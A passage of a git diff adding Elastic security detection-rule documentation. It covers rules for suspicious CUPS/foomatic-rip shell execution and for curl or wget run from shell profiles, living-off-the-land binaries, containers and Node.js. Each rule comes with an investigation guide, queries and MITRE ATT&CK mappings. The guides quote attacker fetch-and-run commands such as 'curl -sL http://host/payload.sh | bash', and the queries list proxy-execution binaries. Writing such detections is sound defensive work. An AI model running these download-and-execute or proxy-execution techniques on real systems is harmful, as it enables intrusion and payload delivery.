to execute arbitrary commands or modify printer configurations. Attackers can exploit these flaws to inject malicious data, leading to Remote Code Execution (RCE) on affected systems. + + +*Possible Investigation Steps* + + +- Investigate the incoming IPP requests or UDP packets targeting port 631. +- Examine the printer configurations on the system to determine if any unauthorized printers or URLs have been added. +- Investigate the process tree to check if any unexpected processes were triggered as a result of IPP activity. Review the executable files for legitimacy. +- Check for additional alerts related to the compromised system or user within the last 48 hours. +- Investigate network traffic logs for suspicious outbound connections to unrecognized domains or IP addresses. +- Check if any of the contacted domains or addresses are newly registered or have a suspicious reputation. +- Retrieve any scripts or executables dropped by the attack for further analysis in a private sandbox environment: +- Analyze potential malicious activity, including: + - Attempts to communicate with external servers. + - File access or creation of unauthorized executables. + - Cron jobs, services, or other persistence mechanisms. + + +*Related Rules* + +- Printer User (lp) Shell Execution - f86cd31c-5c7e-4481-99d7-6875a3e31309 +- Network Connection by Cups or Foomatic-rip Child - e80ee207-9505-49ab-8ca8-bc57d80e2cab +- File Creation by Cups or Foomatic-rip Child - b9b14be7-b7f4-4367-9934-81f07d2f63c4 +- Suspicious Execution from Foomatic-rip or Cupsd Parent - 986361cd-3dac-47fe-afa1-5c5dd89f2fb4 + + +*False Positive Analysis* + + +- This activity is rarely legitimate. However, verify the context to rule out non-malicious printer configuration changes or legitimate IPP requests. + + +*Response and Remediation* + + +- Initiate the incident response process based on the triage outcome. +- Isolate the compromised host to prevent further exploitation. +- If the investigation confirms malicious activity, search the environment for additional compromised hosts. +- Implement network segmentation or restrictions to contain the attack. +- Stop suspicious processes or services tied to CUPS exploitation. +- Block identified Indicators of Compromise (IoCs), including IP addresses, domains, or hashes of involved files. +- Review compromised systems for backdoors, such as reverse shells or persistence mechanisms like cron jobs. +- Investigate potential credential exposure on compromised systems and reset passwords for any affected accounts. +- Restore the original printer configurations or uninstall unauthorized printer entries. +- Perform a thorough antimalware scan to identify any lingering threats or artifacts from the attack. +- Investigate how the attacker gained initial access and address any weaknesses to prevent future exploitation. +- Use insights from the incident to improve detection and response times in future incidents (MTTD and MTTR). + + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "linux" and event.type == "start" and + event.action in ("exec", "exec_event", "start", "ProcessRollup2") and process.parent.name == "foomatic-rip" and + process.name in ("bash", "dash", "sh", "tcsh", "csh", "zsh", "ksh", "fish") and not ( + process.command_line like ( + "*/tmp/foomatic-*", "*-sDEVICE=ps2write*", "*printf*", "/bin/sh -e -c cat", "/bin/bash -c cat", + "/bin/bash -e -c cat" + ) or + process.args like "gs*" + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: Unix Shell +** ID: T1059.004 +** Reference URL: https://attack.mitre.org/techniques/T1059/004/ +* Technique: +** Name: Exploitation for Client Execution +** ID: T1203 +** Reference URL: https://attack.mitre.org/techniques/T1203/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-curl-execution-via-shell-profile.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-curl-execution-via-shell-profile.asciidoc new file mode 100644 index 0000000000..fe917d136f --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-curl-execution-via-shell-profile.asciidoc @@ -0,0 +1,150 @@ +[[prebuilt-rule-8-19-34-curl-execution-via-shell-profile]] +=== Curl Execution via Shell Profile + +Detects when curl is executed via a shell profile upon login. This indicates a curl command was added to the user's shell profile (like .zshrc or .bashrc) and is executed automatically at login, which could be used for persistence and payload delivery. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: macOS +* Use Case: Threat Detection +* Tactic: Persistence +* Tactic: Command and Control +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Profile: Recommended +* Threat: Download Tool Abuse +* Rule Type: Event Correlation (EQL) +* Platform: macOS + +*Version*: 3 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Curl Execution via Shell Profile* + + +Shell profile scripts (.zshrc, .bashrc, .bash_profile, .zprofile) execute automatically when users open new terminal sessions, making them valuable persistence mechanisms. Threat actors inject curl commands into these profiles to download and execute additional payloads each time the user opens a terminal, creating a reliable beacon mechanism that persists across system reboots. This detection rule identifies curl execution with download flags that originates directly from shell profile execution at login. + + +*Possible investigation steps* + + +- Review the shell profile files (.zshrc, .bashrc, .bash_profile, .zprofile) for the affected user to identify the injected curl command and its destination URL. +- Analyze the process.args to determine the full curl command including output destination (-o, --output) and any other flags used. +- Investigate the destination URL in threat intelligence databases to determine if it is associated with known malicious infrastructure. +- Review the file modification timestamps of the shell profile files to determine when the malicious entry was added. +- Check browser history, email attachments, and download logs to understand how the attacker initially gained access to modify the profile. +- Examine the user.name associated with the modified profile to assess the scope of potential data access. +- Search for downloaded files on the system that may have been retrieved by the curl command and analyze their contents. + + +*False positive analysis* + + +- Developers may add curl commands to shell profiles for convenience, such as fetching daily updates or checking API endpoints. Verify the URL destination and purpose with the user. +- Some shell customization frameworks and plugins use curl to update themselves on shell startup. Review common frameworks like Oh My Zsh for expected behavior. +- Enterprise tools may configure shell profiles for authentication or environment setup. Confirm with IT operations if such configurations are expected. +- Elastic infrastructure URLs are already excluded in the query to reduce noise from legitimate Elastic tooling. + + +*Response and remediation* + + +- Remove the malicious curl command from the affected shell profile file immediately. +- Block the destination URL at the network perimeter to prevent payload delivery. +- Search for any files that were downloaded by the curl command and quarantine or remove them. +- Review user credentials and tokens that may have been exposed, as shell sessions often contain sensitive environment variables. +- Investigate how the shell profile was modified to identify the initial access vector. +- Check other user accounts on the system for similar shell profile modifications. +- Reset the user's shell profile from a known-good backup or template if available. +- Monitor for curl execution from shell profiles across the environment to identify additional compromised systems. + + +==== Rule query + + +[source, js] +---------------------------------- +sequence with maxspan=10s + [process where host.os.type == "macos" and event.type == "start" and event.action == "exec" and + process.name in ("bash", "zsh", "sh") and + process.args in ("-zsh", "-sh", "-bash") and process.args_count == 1 and + process.parent.name == "login"] by process.entity_id + [process where host.os.type == "macos" and event.type == "start" and event.action == "exec" and + process.name in ("curl", "nscurl") and + process.args in ("-o", "--output", "--download", "-dl", "-dir", "--directory", "-F", "--form") and + not process.args like ("https://upload.elastic.co*", "https://vault-ci-prod.elastic.dev", "https://artifacts.elastic.co*")] by process.parent.entity_id + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Event Triggered Execution +** ID: T1546 +** Reference URL: https://attack.mitre.org/techniques/T1546/ +* Sub-technique: +** Name: Unix Shell Configuration Modification +** ID: T1546.004 +** Reference URL: https://attack.mitre.org/techniques/T1546/004/ +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Ingress Tool Transfer +** ID: T1105 +** Reference URL: https://attack.mitre.org/techniques/T1105/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: Unix Shell +** ID: T1059.004 +** Reference URL: https://attack.mitre.org/techniques/T1059/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-curl-or-wget-egress-network-connection-via-lolbin.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-curl-or-wget-egress-network-connection-via-lolbin.asciidoc new file mode 100644 index 0000000000..fee7e38316 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-curl-or-wget-egress-network-connection-via-lolbin.asciidoc @@ -0,0 +1,229 @@ +[[prebuilt-rule-8-19-34-curl-or-wget-egress-network-connection-via-lolbin]] +=== Curl or Wget Egress Network Connection via LoLBin + +This rule detects the execution of curl or wget binaries through a GTFOBin (living-off-the-land) technique in Linux environments. Attackers may exploit these utilities to download and execute malicious files from the internet while attempting to evade detection. The rule specifically targets binaries that are capable of executing shell commands directly from the proxied binary, rather than just spawning a shell. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process* +* logs-endpoint.events.network* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://gtfobins.github.io/#+shell + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Tactic: Execution +* Tactic: Command and Control +* Tactic: Exfiltration +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Profile: Recommended +* Threat: Living off the Land +* Threat: Download Tool Abuse +* Rule Type: Event Correlation (EQL) +* Platform: Linux + +*Version*: 3 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + ## Triage and analysis + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Curl or Wget Egress Network Connection via LoLBin* + + +This detects outbound connections from curl or wget when they are launched via living-off-the-land binaries that can execute shell commands, signaling proxy execution to mask activity. It matters because attackers abuse trusted utilities to fetch payloads, stage command-and-control, or exfiltrate while evading simple controls. Example: an attacker uses awk or busybox to run curl to an external host, downloads a script into /tmp, pipes it to sh, or saves a binary and runs it under the proxy’s context. + + +*Possible investigation steps* + + +- Pull the full process tree around the event and review the parent LoLBin’s command line for signs of proxy execution such as pipelines to a shell, write-to-file flags (-o/-O), exfil options (--data/--upload-file), or TLS bypass (-k), noting working directory and effective user for context. +- Identify any paths or filenames used by the transfer and inspect the filesystem for newly created or modified artifacts in temp locations, recording hashes, timestamps, permission changes (e.g., chmod +x), and any immediate execution or persistence actions. +- Correlate the outbound destination with threat intelligence and internal allowlists, examine DNS/SNI/certificate details, and flag unusual ports or use of proxies/TOR that suggest evasion. +- Validate whether the parent LoLBin and its execution path align with legitimate software or maintenance workflows on the host, and broaden the search for similar executions across hosts within the same timeframe. +- Hunt for follow-on activity including new listeners, reverse shells, additional outbound beacons, or other GTFOBins invoking curl/wget, and tie findings back to the same domains/IPs or dropped filesystem artifacts. + + +*False positive analysis* + + +- During legitimate dependency installation or build workflows, pip/npm/gem/bundler/yarn may run post-install hooks that invoke curl/wget to fetch supplemental files from public mirrors, with the package manager as the parent process. +- Operations or maintenance tasks may use watch/busybox/run-parts/awk to proxy execution of curl/wget for external availability checks or bootstrap downloads in init scripts, producing short-lived egress that matches the LoLBin-parent pattern. + + +*Response and remediation* + + +- Immediately isolate the affected Linux host or apply an outbound block, terminate active curl/wget and their invoking LoLBins (e.g., awk, busybox, run-parts), and add temporary firewall/DNS rules to deny the contacted domain/IP and port. +- Enumerate and delete files fetched via curl/wget (-o/-O) in /tmp, /var/tmp, /dev/shm, and user home (including scripts piped to sh), remove any persistence added (new cron entries, systemd units, rc.local edits), and record hashes/paths for evidence. +- Rotate credentials or tokens exposed via -u/--header or ~/.netrc, purge malicious proxy settings and config files (http_proxy/https_proxy environment, ~/.wgetrc, ~/.curlrc), and revoke SSH keys or cookies discovered alongside the downloads. +- Restore the system by reimaging or reinstalling if tampering is suspected, re-enable egress only after validation, verify application functionality, and re-enroll the endpoint with EDR while limiting curl/wget usage to approved service accounts. +- Escalate to incident response if curl/wget is piped to a shell (e.g., curl https://... | sh), a downloaded binary is made executable and run (chmod +x followed by execution), the destination matches known malicious infrastructure, or torify/torsocks/proxy chaining is used. +- Harden by mounting /tmp, /var/tmp, and /dev/shm with noexec/nosuid/nodev, enforcing AppArmor/SELinux to restrict curl/wget network access and file writes, constraining GTFOBins from spawning shells, and requiring egress via a proxy allowlist with TLS validation (disallow --insecure/-k). + + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +sequence with maxspan=3s + [process where host.os.type == "linux" and event.type == "start" and event.action == "exec" and process.name in ( + "aa-exec", "aoss", "awk", "run-parts", "bundle", "bundler", "busctl", "busybox", "byebug", "c89", "c99", "cabal", + "capsh", "cdist", "certbot", "check_by_ssh", "choom", "cobc", "cowsay", "cowthink", "cpio", "cpulimit", "csvtool", + "dc", "distcc", "easy_install", "emacs", "enscript", "expect", "find", "flock", "gawk", "gcc", "gdb", "gem", + "genie", "ghc", "ghci", "gimp", "grc", "gtester", "ionice", "irb", "jjs", "jrunscript", "knife", "latex", + "latexmk", "lftp", "logsave", "ltrace", "mail", "mawk", "msgfilter", "multitime", "mysql", "nawk", "neofetch", + "nice", "nohup", "npm", "nroff", "nsenter", "octave", "openvpn", "pandoc", "pdb", "pdflatex", "pdftex", "perf", + "pexec", "pip", "rake", "rc", "rlwrap", "rpmdb", "rpmquery", "rpmverify", "rsync", "rtorrent", "runscript", + "rview", "rvim", "script", "scrot", "sed", "service", "setarch", "setlock", "sg", "socat", "softlimit", "split", + "sqlite3", "sqlmap", "sshpass", "start-stop-daemon", "stdbuf", "tar", "taskset", + "tasksh", "tex", "time", "tmate", "torify", "torsocks", "tshark", "valgrind", "vi", "view", + "vim", "vimdiff", "watch", "xdg-user-dir", "xdotool", "xelatex", "xetex", "yarn", "zip", "zypper" + ) and not ( + process.executable == "/tmp/newroot/unshare" or + process.parent.args in ( + "/etc/.agent/server_agent.sh", "/nessus/update2.sh", "/etc/cron.daily/spamassassin", "/etc/cron.daily/rkhunter", + "buildkit-runc", "/usr/sbin/spamassassin-maint" + ) or + process.parent.executable like ( + "/usr/local/bin/fail2ban_cluster.sh", "/script/downloadArtifacts.sh", "/etc/cron.daily/rkhunter", + "/usr/bin/bbb-conf", "/usr/sbin/sos", "/usr/bin/make", "/var/lib/amagent/*", "/etc/cron.daily/spamassassin", + "/usr/lib/cron/run-crons", "/usr/sbin/spamassassin-maint", "/usr/sbin/oracle-libs-update" + ) or + process.parent.name in ("rkhunter", "vivaldi-stable.postinst", "runc") or + process.parent.command_line == "runc init" or + process.parent.command_line like "/home/*/bin/DownloadExchangeFiles_mcx*" or + process.command_line in ( + "nice -10 /opt/aws/discovery/update", "xargs -n 1 curl -o lpsc -L", "/usr/bin/ruby /usr/bin/rake run:server_hooks", + "nohup ./update2.sh" + ) or + process.parent.command_line in ("/bin/sh -c nice -n 15 $HOME/bin/cron.pl > /dev/null 2>&1", "/bin/sh /etc/cron.daily/rkhunter") or + process.command_line like ("*/home/linuxbrew/.linuxbrew/*", "*Homebrew*", "*webhook*") or + process.args like ("/usr/lib/jvm/*", "/root/.forge/provision-*.sh", "/usr/src/ucrm/scripts/update-certificates.sh", "/etc/periodic/weekly/update_mmdb.sh") or + (process.name == "nohup" and process.command_line like "nohup /usr/*/*.sh") or + (process.name == "julia" and process.parent.name == "julia") + ) + ] by process.entity_id + [network where host.os.type == "linux" and event.type == "start" and event.action == "connection_attempted" and + process.name in ("wget", "curl") and not ( + destination.ip == null or destination.ip == "0.0.0.0" or cidrmatch( + destination.ip, "10.0.0.0/8", "127.0.0.0/8", "169.254.0.0/16", "172.16.0.0/12", "192.0.0.0/24", "192.0.0.0/29", + "192.0.0.8/32", "192.0.0.9/32", "192.0.0.10/32", "192.0.0.170/32", "192.0.0.171/32", "192.0.2.0/24", + "192.31.196.0/24", "192.52.193.0/24", "192.168.0.0/16", "192.88.99.0/24", "224.0.0.0/4", "100.64.0.0/10", + "192.175.48.0/24","198.18.0.0/15", "198.51.100.0/24", "203.0.113.0/24", "240.0.0.0/4", "::1", "FE80::/10", + "FF00::/8" + ) + ) + ] by process.parent.entity_id + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Indirect Command Execution +** ID: T1202 +** Reference URL: https://attack.mitre.org/techniques/T1202/ +* Technique: +** Name: System Binary Proxy Execution +** ID: T1218 +** Reference URL: https://attack.mitre.org/techniques/T1218/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: Unix Shell +** ID: T1059.004 +** Reference URL: https://attack.mitre.org/techniques/T1059/004/ +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Ingress Tool Transfer +** ID: T1105 +** Reference URL: https://attack.mitre.org/techniques/T1105/ +* Tactic: +** Name: Exfiltration +** ID: TA0010 +** Reference URL: https://attack.mitre.org/tactics/TA0010/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-curl-or-wget-execution-from-container-context.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-curl-or-wget-execution-from-container-context.asciidoc new file mode 100644 index 0000000000..5acee11aea --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-curl-or-wget-execution-from-container-context.asciidoc @@ -0,0 +1,154 @@ +[[prebuilt-rule-8-19-34-curl-or-wget-execution-from-container-context]] +=== Curl or Wget Execution from Container Context + +Detects execution of curl or wget from processes whose title aligns with **`runc init`**, a common fingerprint for workloads running inside **OCI/runc-backed containers** on Linux hosts instrumented with Auditd Manager. After breaking out of an application container or abusing a privileged workload, attackers often pull ingress tooling (stagers, scripts, implants) or stage exfiltration with minimal HTTP clients. Those utilities are also used benignly in images, so context matters; the `runc init` anchor narrows the signal to the container runtime boundary where unexpected download clients are more worthy of review than the same binaries on a bare-metal admin shell. + +*Rule type*: query + +*Rule indices*: + +* auditbeat-* +* logs-auditd_manager.auditd-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://attack.mitre.org/techniques/T1105/ +* https://gtfobins.github.io/gtfobins/curl/ +* https://gtfobins.github.io/gtfobins/wget/ + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Command and Control +* Tactic: Execution +* Domain: Containers +* Data Source: Auditd Manager +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Profile: Recommended +* Threat: Download Tool Abuse +* Rule Type: Custom Query (KQL) +* Platform: Linux + +*Version*: 3 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Curl or Wget Execution from Container Context* + + +The rule matches Auditd-backed process events where `process.title` is `runc init` and the executed program is +curl/wget (by `process.name`) or the argument vector suggests curl or wget paths. Use it to spot ingress tool +transfer or scripted downloads from inside a container as seen at the host audit layer. + + +*Possible investigation steps* + + +- Reconstruct the full command line from `process.args` / `process.command_line` and identify URLs, output paths, and + flags such as `-O`, `--post-file`, or TLS bypass (`-k`). +- Map the event to the container: cgroup, `container.id`, `kubernetes.pod.*`, or runtime metadata if present on the + document; identify the image, namespace, and workload owner. +- Review egress from the host or pod network policy logs for destinations contacted shortly after the execution. +- Compare against recent image or manifest changes for the workload to rule out intentional startup scripts. + + +*False positive analysis* + + +- Package managers and bootstrap scripts in official images may run curl/wget once at start; document and exclude when + verified. +- Security scanners or health checks running in sidecars could match; validate agent type and schedule. + + +*Response and remediation* + + +- If unauthorized, isolate the node or workload, revoke credentials available to the container, inspect for dropped + binaries or cron/systemd additions, and rotate any secrets the container could reach. + + +==== Setup + + + +*Setup* + + +This rule requires data from **Auditd Manager** (or legacy Auditbeat shipping comparable ECS fields). + + +*Auditd Manager Integration Setup* + +The Auditd Manager integration receives audit events from the Linux Audit Framework. With `auditd_manager`, +administrators can define audit rules, track system events, and generate reports. + + +*Steps to deploy Auditd Manager* + +- In Kibana, open **Add integrations**, search for **Auditd Manager**, and add it to an agent policy deployed on Linux + hosts that should emit syscall audit data. +- For integration details, see the https://docs.elastic.co/integrations/auditd_manager[Auditd Manager documentation]. + + +*Rule-specific notes* + +- Ensure syscall coverage includes **execve** (or equivalent) for processes inside containers so `curl`, `wget`, and + argument lists are captured on the host. +- Confirm that **`process.title`** (or the mapped proctitle field) reflects **`runc init`** for your runtime; other + runtimes may use different titles—tune the predicate if you standardize on `crun`, `containerd-shim`, etc. + + +==== Rule query + + +[source, js] +---------------------------------- +host.os.type:linux and +data_stream.dataset:"auditd_manager.auditd" and +event.action:("executed" or "exec") and +process.title:"runc init" and +( + process.name:(curl or wget) or + process.args:(* curl* or */bin/curl* or *wget*) +) and +not process.args :(*127.0.0.1* or *localhost* or "wget --no-verbose --tries=1 --spider --no-check-certificate http://${WEB_HOST}:${WEB_PORT}/api/ping || exit 1") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Ingress Tool Transfer +** ID: T1105 +** Reference URL: https://attack.mitre.org/techniques/T1105/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-curl-or-wget-spawned-via-node-js.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-curl-or-wget-spawned-via-node-js.asciidoc new file mode 100644 index 0000000000..ddcf72ca02 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-curl-or-wget-spawned-via-node-js.asciidoc @@ -0,0 +1,188 @@ +[[prebuilt-rule-8-19-34-curl-or-wget-spawned-via-node-js]] +=== Curl or Wget Spawned via Node.js + +This rule detects when Node.js, directly or via a shell, spawns the curl or wget command. This may indicate command and control behavior. Adversaries may use Node.js to download additional tools or payloads onto the system. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process-* +* logs-sentinel_one_cloud_funnel.* +* logs-system.security* +* logs-windows.forwarded* +* logs-windows.sysmon_operational-* +* winlogbeat-* +* auditbeat-* +* logs-auditd_manager.auditd-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* OS: Windows +* OS: macOS +* Use Case: Threat Detection +* Tactic: Command and Control +* Resources: Investigation Guide +* Data Source: Elastic Defend +* Data Source: Elastic Endgame +* Data Source: Windows Security Event Logs +* Data Source: Sysmon +* Data Source: SentinelOne +* Data Source: Crowdstrike +* Data Source: Auditd Manager +* Noise: Medium +* Performance: Normal +* Profile: Recommended +* Threat: Supply Chain +* Threat: Download Tool Abuse +* Rule Type: Event Correlation (EQL) +* Platform: Windows +* Platform: Linux +* Platform: macOS + +*Version*: 7 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Curl or Wget Spawned via Node.js* + + +This rule flags Node.js launching curl or wget, directly or via a shell, a common technique to fetch payloads and enable command-and-control. Attackers often abuse child_process in Node apps to run "curl -sL http://host/payload.sh | bash," pulling a second stage from a remote host and executing it immediately under the guise of legitimate application activity. + + +*Possible investigation steps* + + +- Pull the full process tree and command line to extract URLs/domains, flags (e.g., -sL, -O, --insecure), and identify whether the output is piped into an interpreter, indicating immediate execution risk. +- Correlate with file system activity to find newly created or modified artifacts (e.g., in /tmp, /var/tmp, /dev/shm, or the app directory), then hash and scan them and check for follow-on executions. +- Pivot to network telemetry to enumerate connections around the event from both Node.js and the child process, assessing destination reputation (IP/domain, ASN, geo, cert/SNI) against approved update endpoints. +- Trace the initiating Node.js code path and deployment (child_process usage such as exec/spawn/execFile), and review package.json lifecycle scripts and recent npm installs or postinstall hooks for unauthorized download logic. +- Verify user and runtime context (service account/container/pod), inspect environment variables like HTTP(S)_PROXY/NO_PROXY, and check whether credentials or tokens were passed to curl/wget to assess exposure. + + +*False positive analysis* + + +- A legitimate Node.js service executes curl or wget to retrieve configuration files, certificates, or perform health checks against approved endpoints during startup or routine operation. +- Node.js install or maintenance scripts use a shell with -c to run curl or wget and download application assets or updates, triggering the rule even though this aligns with expected deployment workflows. + + +*Response and remediation* + + +- Immediately isolate the affected host or container, stop the Node.js service that invoked curl/wget (and any parent shell), terminate those processes, and block the exact URLs/domains/IPs observed in the command line and active connections. +- Quarantine and remove any artifacts dropped by the downloader (e.g., files in /tmp, /var/tmp, /dev/shm or paths specified by -O), delete added cron/systemd entries referencing those files, and revoke API tokens or credentials exposed in the command line or headers. +- Escalate to full incident response if output was piped to an interpreter (curl ... | bash or wget ... | sh), if --insecure/-k or self-signed endpoints were used, if unknown external infrastructure was contacted, or if secrets were accessed or exfiltrated. +- Rebuild and redeploy the workload from a known-good image, remove the malicious child_process code path from the Node.js application, restore validated configs/data, rotate any keys or tokens used by that service, and verify no further curl/wget spawns occur post-recovery. +- Harden by removing curl/wget from runtime images where not required, enforcing egress allowlists for the service, constraining execution with AppArmor/SELinux/seccomp and least-privilege service accounts, and adding CI/CD checks to block package.json postinstall scripts or code that shells out to downloaders. + + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the 